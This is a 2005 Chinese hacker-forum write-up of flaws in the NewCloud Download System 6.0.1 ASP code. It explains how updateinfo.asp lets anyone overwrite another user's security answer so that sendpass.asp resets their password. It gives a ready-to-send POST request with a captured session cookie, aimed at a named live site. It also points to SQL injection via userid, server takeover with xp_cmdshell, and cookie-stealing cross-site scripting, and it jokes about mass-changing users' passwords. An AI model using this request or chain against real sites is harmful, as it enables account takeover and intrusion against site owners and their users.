统计在线人数...

NewCloud Download System Version 6.0.1漏洞

[ 来源:不详 | 作者:neeao | 时间:2005-8-12 17:11:27 | 浏览:统计中... ]


作者:[大蝉] 来源:[黑客基地]

由于时间不多,随便挑了3个asp,大致浏览了一下,search.asp过滤中规中举,没有什么问题,但是看到updateinfo.asp和 sendpass.asp的时候发现了问题,updateinfo.asp中的问题代码如下:

updateinfo.asp:
………………………
……………………….
Private Sub modify()
 Call chkmodify
 If Founderr = False Then
 SQL = "select * from [NC_user] where username=’" & Request("username") & "’ and userid=" & Request("userid")
 Rs.Open SQL, conn, 1, 3
 If Rs.bof And Rs.EOF Then
 Response.Write "Sorry!没有找到此用户信息信息。"
 Else
 Rs("usermail") = Request.Form("usermail")
 Rs("postcode") = Request.Form("postcode")
 Rs("question") = Request.Form("question")
 Rs("oicq") = Trim(Request.Form("oicq"))
 Rs("truename") = Request.Form("truename")
 Rs("usertel") = Request.Form("usertel")
 Rs("address") = Trim(Request.Form("address"))
 If Request.Form("answer") <> "" Then
 Rs("answer") = NC_Encode.md5(Request.Form("answer"))
 End If
 Rs.Update
 End If
 Rs.Close
 Set Rs = Nothing
 Response.Write ("<script>alert(’您的资料修改成功!/n/n请记住您的新用户资料’);javascript:history.back(1)</script>")
 Response.End
 End If
End Sub
……………………………..
……………………………..
 
其中SQL = "select * from [NC_user] where username=’" & Request("username") & "’ and userid=" & Request("userid") 简简单单的考”username”和”userid”来判断要updata的位置,没有和passwrod比较,也没有和当前用户比较,这样我们就可以随意构造语句,填入任意用户的”username”和”userid”就可以改他的资料。再看sendpass.asp中的代码
 
sendpass.asp:
………………………………
……………………………….
Private Sub step2()
 If Request("username") = "" Then
 Founderr = True
 Errmsg = Errmsg + "请输入您的用户名。"
 Exit Sub
 Else
 UserName = Replace(Request("username"), "’", "")
 End If
 If Newasp.checkpost = False Then
 Errmsg = Errmsg + "您提交的数据不合法,请不要从外部提交发言。"
 Founderr = True
 Exit Sub
 End If
 If Request("answer") = "" Then
 Founderr = True
 Errmsg = Errmsg + "请输入您的问题答案。"
 Exit Sub
 Else
 Answer = NC_Encode.md5(Trim(Request("answer")))
 End If
 Set Rs = Newasp.Execute("select * from NC_User where username = ’" & UserName & "’ and answer = ’" & Answer & "’")
 If Rs.EOF And Rs.bof Then
 Founderr = True
 Errmsg = Errmsg + "您输入的问题答案不正确,请重新输入。"
 Exit Sub
 Else
…………………………………
…………………………………
由上面的代码可以看出,只要username和answer 与表中内容相符,就可以更改任意用户密码,username我们可以轻松得到,而anserer我们也可以通过updateinfo.asp的漏洞更改成自己想要得answer ,这样我们有了任意用户的username 和 answer 就可以更改任意用户的密码。具体利用方法是先注册登陆,然后向服务器提交:
POST /updateinfo.asp?action=save HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.8vb.com/updateinfo.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.8vb.com
Content-Length: 196
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQSBDATCD=OHILHJDBEJMBNLBAOGKOHEPJ; cc_6_visited_site_8vb=1; www%2E8vb%2Ecom%2F=grade=1&password=03150e23d1c6ca01&userid=1550&username=usualwyy
 
username=******&userid=****&truename=wyywyy&usermail=dfger@dsafg.dh&question=wyy&answer=***&usertel=2134363&oicq=&postcode=5325235&address=%C1%AA%CF%B5%B5%D8%D6%B7&Submit=%C1%A2%BC%B4%D0%DE%B8%C4

Cookie是自己截取的,后面三处*号,中填上要对方username userid 和你构造的answer,然后到sendpass.asp中填上对方username和刚才构造的answer就可以更改对方的密码了。
由于在这个整站中用户全限并不高,所以这个漏洞并不会对服务器产生大的影响,但是我们可以轻松些个脚本,换掉所有用户的密码,这样我想管理员可能会很郁闷 ^_^。这个漏洞虽然不是高危,但是不能不说是一个安全隐患,万一NewCloud Download System下个版本里多了个论坛,用户权限提高了,那样危险就大了。
updateinfo.asp还有个漏洞,就是”userid”没用经过任何过滤就放到SQL语句中判断,并且userid周围也没有’,我们可以对其进行注入,由于”江苏黑客联盟”用的是access,所以用处不大,或许可以猜猜密码,但是如果是SQL问题就比较严重了,一个XP_cmdshell轻松搞定服务器。
再看softessay.asp,
softessay.asp:
……………………..
……………………..
If request("action") = "savessay" Then
 Dim EssayID
 EssayID = request("id")
 If CInt(Newasp.Setting(38)) = 1 Then
 If request.Cookies("Essay_"&EssayID) = "newaspEssay_" &EssayID Then Response.Write ("<script>alert(’对不起!你已经参与过评论。’);javascript:history.back(1)</script>")
 Response.End
 response.Cookies("Essay_"&EssayID) = "newaspEssay_" &EssayID
 response.Cookies("Essay_"&EssayID).expires = Date + 365
 If Len(Request.Form("content")) > CLng(Newasp.TempSet(7)) Then Response.Write ("<script>alert(’对不起!评论字符超过了限制。’);javascript:history.back(1)</script>")
 Response.End
 sql = "select * from NC_SoftEssay where (ID is null)"
 rs.Open sql, conn, 1, 3
 rs.addnew
 rs("SoftID") = softid
 rs("UserName") = Newasp.HTMLEncode(Trim(request.Form("UserName")))
 rs("usermail") = Trim(request.Form("Email"))
 rs("Grade") = Trim(request.Form("Grade"))
 rs("content") = Newasp.HTMLEncode(request.Form("content"))
 rs("postime") = Now()
 rs("postip") = Newasp.GetUserip
 rs.update
 rs.Close
 If IsCreateHtml = 1 Then NewCloud.CreateSoftInfo (softid)
 response.redirect(""&Request.ServerVariables("HTTP_REFERER")&"")
 Else
 Response.Write"<script>alert(’" & Newasp.TempSet(12) &"’);javascript:history.back(1)</script>"
 Response.End
 End If
End If
…………………..
…………………

其中用户评论的usermail 没有字符过滤,可以写个跨站脚本偷cookie。狠的连个病毒网页上去。^_^

除了以上代码的问题,后台也没有改名字,这是个十分巨大的安全隐患,因为这个整站后台给的权限实在太多了,一个asp木马有的功能后台基本上都有,如果通过某种手段拿到了后台密码,网站基本上就保不住了。


由于时间紧蹙,这个整站的代码我就看了一小部分,总体感觉是写得比较粗糙,很多地方少符号或是文字错误,有兴趣的朋友可以再多看看,也许会有更多更大了漏洞. ^_^ 【
共有0人参与评价,平均得分:0分
评论内容只代表网友观点,与本站立场无关! 查看完整内容
   

当前在线人数
QQ:748838 MSN:allen_xia#msn.com E-mail:allenxia666#126.com QQ群:站长联盟北方区-北京(28200145) 站长联盟南方区-上海(67713522)